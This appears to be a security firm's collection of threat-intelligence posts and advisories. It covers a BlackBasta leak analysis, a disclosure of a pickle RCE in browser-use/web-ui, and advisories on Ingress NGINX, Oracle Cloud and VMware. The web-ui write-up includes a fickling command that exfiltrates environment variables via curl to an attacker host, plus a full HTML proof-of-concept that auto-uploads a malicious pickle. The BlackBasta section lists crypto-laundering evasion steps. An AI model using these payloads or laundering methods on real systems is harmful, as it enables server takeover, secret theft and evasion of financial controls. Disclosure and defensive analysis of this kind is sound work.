Inside the BlackBasta Leak: A Rare Look Into Ransomware Operations

On February 11, 2025, an individual operating under the alias “ExploitWhispers” leaked a Matrix chat involving assessed affiliates of the BlackBasta ransomware group. In this blog, we break down the key takeaways from the chat logs and share our analysis—along with custom detection rules based on the insights uncovered.

Key Intelligence from the Leaked Chat Logs

Some of the IP addresses identified in the leak are linked to a known compromise set associated with the threat actor tracked as “Water Barghest.” This group’s botnet is believed to have compromised over 20,000 IoT devices by leveraging vulnerabilities found through publicly available internet scan databases—ultimately converting those devices into proxies. According to a TrendMicro report, several of these IPs have also been used by both advanced persistent threat (APT) groups and cybercriminals, either knowingly or unknowingly.

According to the leaked chat we can see 3 IP’s hosted by Hetzner used as a proxy.

128.140.36[.]37;AS24940;Hetzner Online GmbH;Germany

157.90.166[.]88;AS24940;Hetzner Online GmbH;Germany

162.55.217[.]30;AS24940;Hetzner Online GmbH;Germany

From an external perspective, activity linked to the group was first observed in late November 2023 by Proofpoint, which identified the use of Latrodectus malware in phishing campaigns. This activity declined toward the end of 2023 and into January 2024, before intensifying again in March 2024.

Figure 1 : Infrastructure map

From an internal perspective, we observe several correlations with the timeline outlined in Proofpoint’s analysis of these IOCs. In late 2023, chat logs show that @usernamegg shared a newly signed malware sample with the team, packaged in a ZIP file named drs1312_signed.zip. Their objective was to bypass antivirus and EDR solutions, though they encountered certain limitations. The discussions included strategies for evading detection, such as abusing rundll32.exe to load malicious DLLs or using JavaScript and VBScript files as loaders.

By March 2024, the team had deployed new builds and conducted tests within their own infrastructure, notably using avcheck[.]net to evaluate malware detectability. By June 2024, they began utilizing SOCKS proxies to further obfuscate their operations.

They often sell and buy credentials from private marketplaces for their initial access phase.

Figure 2 : discussion about credential selling between actors

Following an article shared by @usernamegg we can identify some credentials including IP’s linked to Darkgate and Pikabot activity by the messages between members of the group.

Figure 3 : Discussion about loaders

Based on the chat logs we can tell that they all have defined roles with @usernamegg as their leader

Figure 4 : organization map

We assess with medium confidence the organizational chart presented in Figure 4. For additional context, we recommend reviewing an alternative visual representation of BlackBasta’s structure provided by Flare^[1].

The Identification of Tramp has been made by LeMagIT a french news website that explained his story based on their internal historic^[2].
While the observed infrastructure may be shared among multiple actors, it also shows notable correlations with groups tracked by Proofpoint as TA577 and TA578.

We assess with moderate confidence that TA577 has been active since 2021 and exhibits several similarities to the indicators identified in the leaked chat logs. These include the use of Cobalt Strike from IP address 108.181.132[.]118, as well as the deployment of Latrodectus and IcedID malware—both of which align with patterns observed earlier in this analysis.

TA578, meanwhile, is closely associated with botnet-based operations involving SSLoad and Bumblebee malware—key components within the broader botnet ecosystem. As noted previously, infrastructure reuse through open proxies is a common tactic among affiliates and developers, further supporting these connections.

We also observe some activities linked with Pikabot manipulation added with the infrastructure containing IP’s that deliver Pikabot.

Figure 5 : Pikabot tests

The usage of an IP that belongs to proton66 with a tool called Brutus has been mentioned as well, it seems to be a tool for performing bruteforce tasks from “45.140.17[.]23”.

Figure 6 : Brutus tool usage

BlackBasta’s Cybercrime Economy: Tactics and Monetization Techniques

This team offers a broad range of services related to malware development and offensive cyber operations, driven primarily by financial gain. Their offerings include FUD (Fully Undetectable) loaders, digital certificates, initial access brokerage, botnet sales, pre-configured server setups, and deployment of the BlackBasta ransomware. Affiliates primarily transact using cryptocurrencies such as Bitcoin, Tether, and Monero.

Figure 7 : Financial scheme

To evade detection during cryptocurrency transactions, the group follows a set of operational security practices, including:

• Routinely changing IP addresses via SOCKS proxies when converting Monero to Tether.
• Creating multiple cryptocurrency wallets, each with unique seed phrases, to prevent clustering by blockchain analytics tools.
• Using AMLbot to assess the risk score of Bitcoin addresses—if a score exceeds 70–80%, it indicates a higher likelihood of triggering anti-money laundering (AML) alerts. To reduce this score, they leverage BitcoinBridge in combination with a mixer, effectively obfuscating the transaction trail.
• Conducting test transactions of $500 with high-risk Bitcoin (above 80% AML score) to verify whether specific exchanges will accept the funds.

Figure 8 : money laundering scheme

Internal Policies and Threat Actor Behavior Revealed

The leaked chat provides confirmation of internal policies regarding target selection, which align with earlier analysis by LeMagIT. Notably, the individual known as “gg,” also referred to as “Tramp,” was previously reported to have bribed FSB and GRU agents in exchange for protection. However, following his arrest, his relationship with local authorities appears to have shifted significantly.

Figure 9 : Directives from @usernamegg

We can also notice some discussions about local authorities issues.

Figure 10 : Discussion about the local authorities

Final Assessment: What the BlackBasta Leak Tells Us About Modern Ransomware Tactics

Based on the contents of the leaked JSON file, the Matrix chat reveals that BlackBasta affiliates maintain deep ties to the botnet ecosystem. The infrastructure leveraged by these ransomware actors—such as proxies and virtual private servers (VPS)—has been widely reused across both public and private forums, enabling a range of malicious activities from system compromise to laundering illicit gains.

While the identity and intent of the leaker remain unknown, the data appears to be incomplete, with records ending on September 28, 2024. Nonetheless, the leak provides valuable insight into the operational tactics, organizational structure, and monetization strategies of the BlackBasta group. For technical defenders, the annex includes a set of YARA rules derived from our analysis to assist in threat detection and mitigation.

Are you prepared to respond if a breach like this targets your organization?

At Kudelski Security, our Incident Response Services are designed to help you quickly detect, contain, and recover from cyberattacks—minimizing damage and restoring confidence. Reach out to our team to build or strengthen your response strategy today.

Sources

https://t[.]me/shopotbasta

https://www.justice.gov/archives/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian

https://www.trendmicro.com/en_us/research/24/k/water-barghest.html

https://chatgpt.com/g/g-67b80f8b69f08191923d8e6c3fb929b6-blackbastagpt

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://www.cybercrimediaries.com/post/black-basta-chat-leak-organization-and-infrastructures

https://www.lemagit.fr/actualites/366619807/Ransomware-de-REvil-a-Black-Basta-que-sait-on-de-Tramp

https://flare.io/learn/resources/blog/deciphering-black-bastas-infrastructure-from-the-chat-leak/

https://www.linkedin.com/posts/cebrewer_update-to-the-blackbasta-post-activity-7298746761005711360-iRPc

‍

AnnexYara rules

Summary

Screens of services provided

FUD Loaders +certificates

Initial access selling

Botnet selling

Pre-configured servers

Ransomware deployment of BlackBasta

^[1] https://www.predictagraph.com/graph/snapshot/4f519654-9c80-44fa-a68c-3eb5ea099c4a

^[2] https://www.lemagit.fr/actualites/366619807/Ransomware-de-REvil-a-Black-Basta-que-sait-on-de-Tramp

‍

Browser-use is an open source Python library that can be used to build AI agents that control web browsers. It’s publicly available on Github: https://github.com/browser-use/browser-use. The official README file mentions the existence of another project named “web-ui”, which is hosted under the same Github organization: https://github.com/browser-use/web-ui.

What is browser-use/web-ui?

browser-use/web-ui is a web application that lets a user run browser-use agents with only a few clicks. Indeed, browser-use is helping people control a web browser using text instructions, such as the following:

“Go to Amazon and add the best book about BBQ recipes to the shopping cart. I have a $30 budget.”

With the above instructions, Browser-use would start a new web browser instance – or connect to an existing one, depending on the settings – and use an LLM to control the web browser so that the user’s task is performed. For example, the agent can scroll pages, click links and buttons, fill forms, and more.

Users have to provide their own LLM provider API keys in a .env file, and once that is set up, the web-ui web app can be used to select which LLM provider and model to use, and various browser and agent settings can be adjusted according to the user’s needs.

The configuration tab can be used to save/load all settings to/from a file. This file will contain all settings from all the tabs in web-ui.

It turns out that Python’s pickle module is used to serialize those settings. This is obviously insecure because an attacker could load a malicious pickle file that contains arbitrary code, which would be executed server-side when the pickle file is deserialized.

Impact and Exploitation

At the time, I first thought that nobody would run this publicly because there’s no authentication whatsoever. And so, I believed that this was unlikely to be exploited as-is because one must first get access to the web-ui web app to be able to upload a malicious pickle file. But it turns out that there are a few dozen internet-facing instances of web-ui according to ZoomEye. Since those instances are publicly reachable on the internet, anyone could upload a malicious pickle file through the web application there. Let’s see how this vulnerability can be exploited.

There are multiple ways to create a malicious pickle file. Here we describe one way that worked for us. First, we build a regular pickle config file:

import pickle
import uuid
import os
def default_config():
    """Prepare the default configuration"""
    return {
        "agent_type": "custom",
        "max_steps": 100,
        "max_actions_per_step": 10,
        "use_vision": True,
        "tool_calling_method": "auto",
        "llm_provider": "openai",
        "llm_model_name": "gpt-4o",
        "llm_temperature": 1.0,
        "llm_base_url": "",
        "llm_api_key": "",
        "use_own_browser": os.getenv("CHROME_PERSISTENT_SESSION", "false").lower() == "true",
        "keep_browser_open": False,
        "headless": False,
        "disable_security": True,
        "enable_recording": True,
        "window_w": 1280,
        "window_h": 1100,
        "save_recording_path": "./tmp/record_videos",
        "save_trace_path": "./tmp/traces",
        "save_agent_history_path": "./tmp/agent_history",
        "task": "go to google.com and type 'OpenAI' click search and give me the first url",
    }
def load_config_from_file(config_file):
    """Load settings from a UUID.pkl file."""
    try:
        with open(config_file, 'rb') as f:
            settings = pickle.load(f)
        return settings
    except Exception as e:
        return f"Error loading configuration: {str(e)}"
def save_config_to_file(settings, save_dir="./tmp/webui_settings", name=None):
    """Save the current settings to a UUID.pkl file with a UUID name."""
    os.makedirs(save_dir, exist_ok=True)
    outname = f"{uuid.uuid4()}.pkl"
    if name is not None:
        outname = name
    config_file = os.path.join(save_dir, outname)
    with open(config_file, 'wb') as f:
        pickle.dump(settings, f)
    return f"Configuration saved to {config_file}"
def update_ui_from_config(loaded_config):
    if isinstance(loaded_config, dict):
        print("load success")
        return loaded_config.get("agent_type", "custom")
    else:
        pass
        print("not a dict object")
    return "foobar"
if __name__ == "__main__":
    save_config_to_file(default_config(), save_dir=".", name="default.pkl")

This creates a file named default.pkl with the default web-ui config.

Next, we install fickling and we use it to inject malicious code into the pickle file, which will be executed when the file is deserialized:

uv tool install git+https://github.com/trailofbits/fickling
fickling --inject "os.system('env | curl -XPOST http://1.2.3.4:3000 --data-binary @-')" default.pkl > malicious.pkl

Here, for example, this produces a malicious file named malicious.pkl that, when loaded, exfiltrates the environment variables to an attacker-controlled server at 1.2.3.4 by running the following command:

env | curl -XPOST http://1.2.3.4:3000 --data-binary @-

An attacker can then simply load this file through the web-ui Configuration tab so that the malicious code gets executed and the environment variables are leaked to the attacker. Of course, an attacker could run any arbitrary code here and take over the server that runs web-ui.

Exploiting private instances of web-ui

As seen above, there are a few dozen publicly available instances of web-ui, but this is just the tip of the iceberg. The web-ui Github repository has 12k stars and the browser-use repository has over 50k stars, so there must be many more instances running privately, that are not directly accessible from the internet. So, an attacker couldn’t connect to the web application and upload a malicious file to those private instances.

But if somehow this became possible, it would be even worse if one could exploit those privately running instances. Well, there’s actually another way these instances could be exploited.

To understand how, let’s have a look at the Browser settings tab.

By default, browser security features are disabled. In practice, this means that browser-use runs an instance of the chromium web browser with those added command line flags:

chromium \
--disable-web-security \
--disable-site-isolation-trials \
--disable-features=IsolateOrigins,site-per-process

This is insecure because it opens the door for an attacker to upload a malicious pickle file to the web-ui settings from another web page.

Indeed, consider the following scenario. An attacker builds a malicious web page that opens the web-ui web application, running at http://localhost:7788 by default, in an iframe and uses Javascript to control that iframe so that a hardcoded malicious pickle file gets uploaded through the web-ui Configuration tab inside of that iframe. This malicious web page would look like this:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Iframe File Upload</title>
</head>
<body>
<iframe id="myIframe" src="http://localhost:7788" width="1280" height="700" style="border: 1px solid black;"></iframe>
<script>
    const filename = 'config.pkl';
    const base64String = `gASVJAIAAAAAAABjYnVpbHRpbnMKZXZhbAoojENvcy5zeXN0ZW0oJ2VudiB8IGN1cmwgLVhQT1NU
IGh0dHA6Ly8xLjIuMy40OjMwMDAgLS1kYXRhLWJpbmFyeSBALScpdFJ9lCiMCmFnZW50X3R5cGWU
jAZjdXN0b22UjAltYXhfc3RlcHOUS2SMFG1heF9hY3Rpb25zX3Blcl9zdGVwlEsKjAp1c2Vfdmlz
aW9ulIiME3Rvb2xfY2FsbGluZ19tZXRob2SUjARhdXRvlIwMbGxtX3Byb3ZpZGVylIwGb3BlbmFp
lIwObGxtX21vZGVsX25hbWWUjAZncHQtNG+UjA9sbG1fdGVtcGVyYXR1cmWURz/wAAAAAAAAjAxs
bG1fYmFzZV91cmyUjACUjAtsbG1fYXBpX2tleZRoDowPdXNlX293bl9icm93c2VylImMEWtlZXBf
YnJvd3Nlcl9vcGVulImMCGhlYWRsZXNzlImMEGRpc2FibGVfc2VjdXJpdHmUiIwQZW5hYmxlX3Jl
Y29yZGluZ5SIjAh3aW5kb3dfd5RNAAWMCHdpbmRvd19olE1MBIwTc2F2ZV9yZWNvcmRpbmdfcGF0
aJSMEy4vdG1wL3JlY29yZF92aWRlb3OUjA9zYXZlX3RyYWNlX3BhdGiUjAwuL3RtcC90cmFjZXOU
jBdzYXZlX2FnZW50X2hpc3RvcnlfcGF0aJSMEy4vdG1wL2FnZW50X2hpc3RvcnmUjAR0YXNrlIxJ
Z28gdG8gZ29vZ2xlLmNvbSBhbmQgdHlwZSAnT3BlbkFJJyBjbGljayBzZWFyY2ggYW5kIGdpdmUg
bWUgdGhlIGZpcnN0IHVybJR1cDMyMTk4NwowMGczMjE5ODcKLg==`;
    function base64ToFile(base64String, fileName, mimeType = 'application/octet-stream', iframe) {
        // Decode the Base64 string into binary data
        const byteCharacters = atob(base64String);
        const byteNumbers = new Array(byteCharacters.length);
        for (let i = 0; i < byteCharacters.length; i++) {
            byteNumbers[i] = byteCharacters.charCodeAt(i);
        }
        // Create a Uint8Array from the binary data
        const byteArray = new Uint8Array(byteNumbers);
        // Create and return a File object
        return new iframe.contentWindow.File([byteArray], fileName, {type: mimeType});
    }
    function delayedPoc() {
        setTimeout(() => {
            poc()
        }, 1000);
    }
    function poc() {
        const iframe = document.getElementById("myIframe");
        const iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
        // Ensure the iframe is loaded
        if (iframeDocument) {
            const fileInput = iframeDocument.querySelector("[data-testid='file-upload']");
            setTimeout(() => {
                if (fileInput) {
                    const file = base64ToFile(base64String, filename, '', iframe);
                    const dataTransfer = new iframe.contentWindow.DataTransfer();
                    dataTransfer.items.add(file);
                    fileInput.files = dataTransfer.files; // Assign the file to the input
                    // Trigger a change event to simulate file selection
                    const event = new DragEvent("drop", {dataTransfer: dataTransfer});
                    console.log(event);
                    // dispatch event on button above
                    hiddenButtton = fileInput.parentElement;
                    hiddenButtton.dispatchEvent(event);
                } else {
                    console.error("File input element not found in the iframe.");
                }
            }, 1000);
            // load the config from the uploaded file
            setTimeout(() => {
                const buttons = iframeDocument.evaluate("//button[text()='Load Existing Config From File']", iframeDocument);
                const loadButton = buttons.iterateNext();
                console.log(loadButton);
                loadButton.click();
            }, 2500);
        } else {
            console.error("Unable to access iframe document.");
        }
    }
    document.addEventListener("DOMContentLoaded", delayedPoc);
</script>
</body>
</html>

Then, the attacker publicly hosts this malicious web page somewhere on the internet. Next, the attacker plants links to this malicious page on various popular websites, such as StackOverflow or Reddit.

A regular user of browser-use/web-ui could ask the agent to perform a genuine operation such as the following:

“Find a solution to problem XYZ, use Reddit and StackOverflow and return the answer”.

Web-ui could browse a web page that contains a link to the attacker’s malicious web page and click on that link, which would load the malicious page and upload the malicious pickle file, therefore exploiting the the web-ui instance even though it is not internet-facing.

Remediation

The affected line of code is located at: https://github.com/browser-use/web-ui/blob/4dbf564e8573d37cfaf24f3b2faa68f3cff2859c/src/utils/default_config_settings.py#L39

To fix this vulnerability, one can switch away from using pickle and use another serialization format, such as JSON to store the web-ui settings.

Disclosure timeline

The browser-use/web-ui Github repository contained a SECURITY.md file with instructions on how to report vulnerabilities but the link it contained was broken. The repository apparently had vulnerability reports disabled. Since the web-ui project was in the same organization as the main browser-use/browser-use repository, we responsibly reported this vulnerability to the browser-use authors on February 21st through the browser-use/browser-use repository instead. If it’s under the same organization, developers should care about it, right?

We didn’t get a reply after 2 weeks, so we privately messaged the two co-founders of browser-use on X on March 7. After another week, we still had no response either.

On March 14th, we tried again and posted a comment on the Github vulnerability report, while @mentioning the 2 co-founders so that they hopefully receive an email. Still no response.

We avoided to publicly reach out yet, because that may have alerted malicious actors and the vulnerability could have been found easily using a simple static analyzer. Also, only a month had passed at the time. We moved on to research vulnerabilities in other targets, while waiting for a response.

In April, I noticed that a friend of mine starred the browser-use repository, and as I was about to tell him to be careful with that project because the web-ui service was vulnerable, I figured I’d first check again if anything had changed or if we had received any response. This is when I noticed that another researcher had publicly opened a Github issue in the web-ui repository on March 27th, asking how to submit a vulnerability report. This was a month after we first privately reported the issue. Two days later, on March 29th, a developer confirmed, in the same Github issue, that the security vulnerability had been fixed. They also pushed a new release on the same day. This left the web-ui repository unpatched with the information that a vulnerability was present in the repository publicly available for 2 whole days. This is what we were trying to avoid.

Our original vulnerability report remains unanswered and ignored at this time. Now that the vulnerability has been patched, we decided to release this blog post.

Conclusions

• Pickle shouldn’t be used to load untrusted files because it’s vulnerable to arbitrary code execution.
• Be careful what AI applications you use and conduct security audits prior to use.
• Developers should have a way for security researchers to contact them, and should reply to vulnerability reports.
• Having broken links in your SECURITY.md file doesn’t help.
• Sometimes, it can be hard to report security vulnerabilities.
• If you’re using browser-use/web-ui, make sure to upgrade to v1.7 now!

Summary

Wiz Research has uncovered multiple critical unauthenticated remote code execution (RCE) vulnerabilities in theIngress NGINX Controller for Kubernetes, collectively known as IngressNightmare. These vulnerabilities enable attackers to execute arbitrary commands within the Ingress NGINX Controller’s pod without requiring authentication. As a result, they may gain unauthorized access to all secrets stored across namespaces in the Kubernetes cluster, ultimately leading to a full cluster compromise. Exploitation of these flaws poses severe security risks, including lateral movement within the environment and data exfiltration. The identified vulnerabilities include:

• CVE-2025-1097: Insecure validation of ingress objects allowing remote command injection.
• CVE-2025-1098: Unsafe handling of user-supplied input leading to arbitrary command execution.
• CVE-2025-24514: Malicious ingress objects enabling arbitrary NGINX configuration injection.
• CVE-2025-1974: Bypass of security controls, resulting in unauthorized execution of commands.

Affected Systems and/or Applications

Ingress NGINX Controller versions prior to 1.12.1 and 1.11.5 are vulnerable.

Technical Details

Each of the identified vulnerabilities presents a unique risk to Kubernetes environments:

• CVE-2025-1097: Ingress NGINX Controller Configuration Injection via Unsanitized auth-tls-match-cn Annotation. This vulnerability arises from the improper handling of the nginx.ingress.kubernetes.io/auth-tls-match-cn annotation. The controller fails to adequately sanitize this input, allowing attackers to inject arbitrary NGINX configurations. By crafting a malicious ingress object with a specially formatted auth-tls-match-cn annotation, an attacker can manipulate the NGINX configuration to execute unauthorized commands within the ingress controller’s pod.
• CVE-2025-1098: Ingress NGINX Controller Configuration Injection via Unsanitized Mirror Annotations. This issue is due to insufficient input validation in the nginx.ingress.kubernetes.io/mirror-target andnginx.ingress.kubernetes.io/mirror-host annotations. Attackers can exploit this flaw by injecting malicious configurations through these annotations, leading to arbitrary command execution within theNGINX worker processes. This can result in unauthorized access to the pod and potentially to cluster-wide secrets.
• CVE-2025-24514: Ingress NGINX Controller via Unsanitized Auth-URL Annotation. This vulnerability involves the nginx.ingress.kubernetes.io/auth-url annotation, which is improperly sanitized when incorporated into the NGINX configuration. An attacker can craft a malicious ingress object with a specially formatted auth-url annotation to inject arbitrary NGINX directives. This injection can lead to unauthorized command execution within the ingress controller’s pod.
• CVE-2025-1974: Ingress NGINX Admission Controller Remote Code Execution. This critical vulnerability allows an unauthenticated attacker with access to the pod network to achieve arbitrary code execution within the ingress-nginx controller. Exploiting this flaw can lead to the disclosure of secrets accessible to the controller, potentially resulting in a complete cluster takeover.

Mitigation & Recommendations

• Immediate Upgrade: Upgrade to Ingress NGINX Controller versions 1.12.1 or 1.11.5 or later.
• Restrict Access: Ensure that the admission webhook endpoint is not exposed externally. Implement strict network policies to restrict access to the admission controller, allowing only the Kubernetes API Server to communicate with it.
• Temporary Disabling: If immediate upgrading is not feasible, consider temporarily disabling the admission controller component:
  • For Helm installations: Reinstall with controller.admissionWebhooks.enabled=false.
  • For manual installations: Delete the ValidatingWebhookConfiguration named ingress-nginx-admission and remove the –validating-webhook argument from the ingress-nginx-controller container’s Deployment or DaemonSet.
  • Note: Remember to re-enable the Validating Admission Controller after upgrading, as it provides essential safeguards for your Ingress configurations.
• Monitor and Audit: Regularly monitor logs and network traffic for unusual activity or unauthorized ingress object creations. Specifically observe:
  • Unusual process executions within Ingress NGINX Controller pods.
  • Unexpected outbound connections initiated from the controller pods.
  • Log entries containing unexpected ingress object creations or modifications.

What the Cyber Fusion Center is Doing

The CFC will continue to monitor the situation and send an advisory update if needed. Immediate action is required to mitigate potential exploitation by applying patches, restricting access, and enhancing security monitoring.Organizations should prioritize these measures to safeguard their cloud environments against potential threats.

Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

References

• https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
• Kubernetes Best Practices: Kubernetes Documentation
• NGINX Ingress Controller Updates: NGINX Ingress Controller GitHub Repository

On March 21, security threat intel vendor CloudSEK published a report on a forum post from a threat actor claiming to have exfiltrated around 6 million records from Oracle Cloud SSO and LDAP, made the previous day. Included in the dumped data are JKS (Java Keystore) files, encrypted SSO passwords, key files, and enterprise manager JPS keys. CloudSEK’s communication with the threat actor suggests a possible undisclosed vulnerability affecting Oracle Cloud login infrastructure.

Technical Details

• Included in the roughly 6 million lines of dumped data are
  • JKS files
  • encrypted SSO passwords
  • hashed LDAP passwords
  • key files
  • enterprise manager JPS keys
• Going by “rose87168”, the actor is selling these dumped records as well as o ering a portion of the data in return for help decrypting SSO passwords and/or cracking LDAP passwords.
• Over 140,000 tenants are a ected.
• The threat actor is coercing a ected organizations to “pay a speci c amount to remove their employees’ information from the list before it’s sold.”

While it is currently unknown whether a vulnerability was exploited, this appears to have been the case. According to CloudSEK:

“it can be ascertained with medium con dence that the threat actor used an undisclosed vulnerability on Oracle WebLogic servers used for hosting the login pages for oraclecloud.com. By exploiting login endpoints for all regions, the threat actor was subsequently able to dump data pertaining to the underlying tenants.”

Mitigation

Affected organizations should change all SSO, LDAP, and associated credentials. Ensure passwords are strong and MFA is enforced. Additionally, report the issue to Oracle for verification of a possible zero-day and seek further mitigation.

What the Cyber Fusion Center is Doing

The CFC will continue to monitor the situation and send an advisory update if needed. If this breach is found to have been due to a yet-undisclosed vulnerability, clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

References

• https://www.cloudsek.com/blog/the-biggest-supply-chain-hack-of-2025-6m-records-for-sale-exfi ltrated-from-oracle-cloud-aff ecting-over-140k-tenants

Summary

On March 4th, Microsoft’s Threat Intelligence Center (MSTIC) uncovered three critical vulnerabilities in VMware products that are being actively exploited in the wild. Affected are VMware ESXi, Workstation, Fusion, Cloud Foundation, and Telco Cloud Platform products, allowing remote code execution (RCE) and privilege escalation. The vulnerabilities, identified as CVE-2025-22224, CVE-2025-22225, and CVE-2025-22226, were discovered following targeted threat actor activity. CISA has since added the bugs to its Known Exploited Vulnerabilities Catalog. Attackers can exploit these flaws to gain unauthorized access to systems, execute arbitrary code remotely, and escalate privileges, posing a significant risk to environments relying on these VMware solutions.

Two of these vulnerabilities are classified as Critical and pose significant risks to VMware users, while one, CVE-202522226, is marked as Important but still requires immediate attention due to its potential for data leakage.

Affected Systems and/or Applications

The following table captures the essential details about the affected VMware products, versions, identified vulnerabilities, severity, and the fixed versions.

Technical Details / Attack Overview

CVE-2025-22224: A Time-of-Check Time-of-Use (TOCTOU) vulnerability

CVSSv3: 9.3 – Critical Severity

A Time-of-Check Time-of-Use (TOCTOU) race condition in VMware ESXi and Workstation allows attackers with administrative VM privileges to exploit a heap overflow vulnerability in the VMX process. This grants attackers control over the host system, enabling lateral movement across virtualized environments.

CVE-2025-22225: Sandbox Escape via Arbitrary Write

CVSSv3: 8.2 – High Severity

Authenticated attackers can write arbitrary data to ESXi hosts through the VMX process, triggering sandbox escapes. By manipulating kernel memory, attackers escalate privileges to deploy malware or disrupt services. This is particularly dangerous in multi-tenant environments.

CVE-2025-22226: Hypervisor Memory Leakage

CVSSv3: 7.1 – Moderate Severity

An out-of-bounds read in VMware’s Host Guest File System (HGFS) enables attackers to extract sensitive data such as encryption keys and credentials from the VMX process. While less severe, this flaw provides valuable reconnaissance data for future attacks.

Mitigation

Ensure that the latest patches from VMware are applied to the following products:

• VMware ESXi: Update the latest available versions forESXi 8.0/7.0
• VMware Workstation/Fusion: Update to 17.6.3 and 13.6.3 respectively
• VMware Cloud Foundation: Update to ESXi 7.0U3s, ESXi 8.0U2d, and ESXi 8.0U3d (KB389385 ) VMware Telco Cloud Platform: Update to ESXi 7.0U3s (KB389385 )

What is the CFC doing ?

The CFC will continue to monitor the situation and send an advisory update if needed. Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

Tenable IDs:

• CVE-2025-22224
• CVE-2025-22225
• CVE-2025-22226

References

• https://cybersecuritynews.com/cisa-warns-vmware-vulnerabilities/
• https://thehackernews.com/2025/03/vmware-security-flaws-exploited-in.html
• https://support.broadcom.com/web/ecx/support-contentnotification/-/external/content/SecurityAdvisories/0/25390
• https://www.cisa.gov/news-events/alerts/2025/03/04/cisa-adds-four-known-exploited-vulnerabilities-catalog
• KB389385

‍

Unmasking Cyber Threats: How Infrastructure Tracking Aids Attribution

The main subject of this article is to present our methods for clustering and identifying the purpose of an infrastructure. The most added value is the cross-referencing between public or private sources of information to create an infrastructure diagram to start producing intelligence and work with it in the long term.

As we see many blog posts about infrastructure tracking, we at Kudelski Security wanted to produce this article to show some methodologies and practical use cases based on internal research.

Decoding Threat Actor Infrastructure: A Case Study in Attribution

For that, instead of taking ‘Indicators of Compromise’ (IOCs) from an incident response, we are going to take a phishing campaign published by the CISA^[1] against U.S and Israeli government officials as an example.

Figure 1: Mapping and enriched IPs from the attack

From the IPs we can see from this campaign, all of them have been attributed to the Iranian group Pioneer Kitten, UNC757. They have conducted numerous intrusions against organizations in the United States and other countries since 2017, with the majority of IPs found on this campaign; most of the IPs are linked to a hosting provider.

Figure 2: Reconstitution and enriched IOCs from the attack

When investigating an infrastructure like this, it is essential to identify similarities, recurring patterns, pivot points, historical data, and collected telemetry. By analyzing these elements, we can establish connections between different attack campaigns and uncover insights into the threat actor’s tactics, techniques, and procedures (TTPs). While we cannot provide an exhaustive breakdown here, leveraging structured intelligence sources enables a more comprehensive resource^[2].

Figure 3: Plan from https://gopivot.ing/map/

During our investigation, we identified a potential overlap with Gamaredon by pivoting on historical DNS data. In August 2023, the domain hopers[.]ru was observed resolving to 206.71.148[.]78, a finding initially reported on the social media platform X.^[3] Similarly, in this attack, Pioneer Kitten used the domain cloud.sophos[.]one to deliver malware, pointing to the same IP address. This pattern of infrastructure reuse underscores the importance of tracking historical data to map threat actor behaviors and identify operational connections.

After the collection phase, we need to save the findings in a cluster under a naming convention in case we can’t attribute them; it will save us some time in our future investigations if we find an infrastructure that overlaps with our previous findings.

A foundational framework in Cyber Threat Intelligence (CTI), the Diamond Model provides a structured approach to analyzing adversaries and their intrusions by examining four key elements. This model can be stored in an open CTI platform or a dedicated database—what matters most is ensuring it remains easily accessible for future analysis. The true value lies in its long-term utility, allowing analysts to continuously monitor, correlate, and exploit key indicators over time to refine attribution and strengthen threat intelligence efforts.

Figure 4: Diamond model of the assessed attack

Tracking Digital Footprints: Mapping and Clustering Malicious Infrastructure  

Effective infrastructure analysis requires meticulous documentation, regardless of whether the infrastructure is confirmed as malicious. Threat actors frequently reuse networks, tools, and even operational mistakes, making historical records a valuable asset for tracking evolving tactics. By maintaining structured intelligence, analysts can efficiently identify overlaps, detect recurring patterns, and accelerate future investigations.

To illustrate this process, we will outline a two-step approach to clustering different infrastructures, using intelligence gathered from a leak related to North Korean IT workers as a case study.

Figure 5: Reconstituted infrastructure from North Korean IT workers

Using a PuTTY configuration file as a source^[4], we have reconstructed a complete infrastructure. While its exact purpose remains unclear, our analysis—based on available intelligence—suggests the following:

• The infrastructure seems to be a part of a wide area network (WAN)
• This part of the network is probably in Kaesong, North Korea. According to the files, the infrastructure is linked to “ZTE”; the links were cut just after their creation, which let us think about the relation to the internet restrictions inside of North Korea.
• This infrastructure can be in another country and can be not related to North Korea, IT workers used to work outside of North Korea.^[5]

Now that we have linked the network areas, units, and technologies used, we can begin to tag the infrastructure; according to your organization, you must use a naming convention, but for this article, we will do it in a simple way: [NK-NET-LC-08282024-CL-01]

NK: Country code according to the ISO 3166-1

NET: Type of infrastructure or attributed entity, “NET” for network

LC: Confidence level – This one stand for Low Confidence

08282024: Made the first time at the following date MMDDYYYY

CL: Analyst

01: Tag number of the infrastructure for each update add a new version with  01.1 -> 01.2 etc..

The infrastructure may not be exact, but the most important thing is to get as close as possible to the adversary infrastructure.

This serves as an example of how tagging can be used to categorize an unknown infrastructure. We strongly recommend storing this data securely, ensuring it remains easily accessible for future reference. Over time—whether months or even years later—new findings may reveal overlaps with previously identified infrastructures, providing valuable context and strengthening long-term threat analysis.

Next, we are going to put all the pieces together based on past data and findings.

Figure 6: Complete mapping of a North Korean infrastructure

While this example uses fabricated dates, it highlights a fundamental principle in threat intelligence—piecing together disparate infrastructure elements can reveal a more comprehensive picture of an adversary’s network.

Over time, continuous analysis allows intelligence teams to refine their assessments, identify behavioral overlaps, and track the evolution of threat actor infrastructure.^[6][7][8] As seen in Mandiant’s reporting, the mapping of North Korean cyber operations has evolved significantly from 2022 to 2024, reinforcing the importance of long-term monitoring and iterative intelligence gathering.

Figure 7: Assessed structure of DPRK Cyber programs from Mandiant

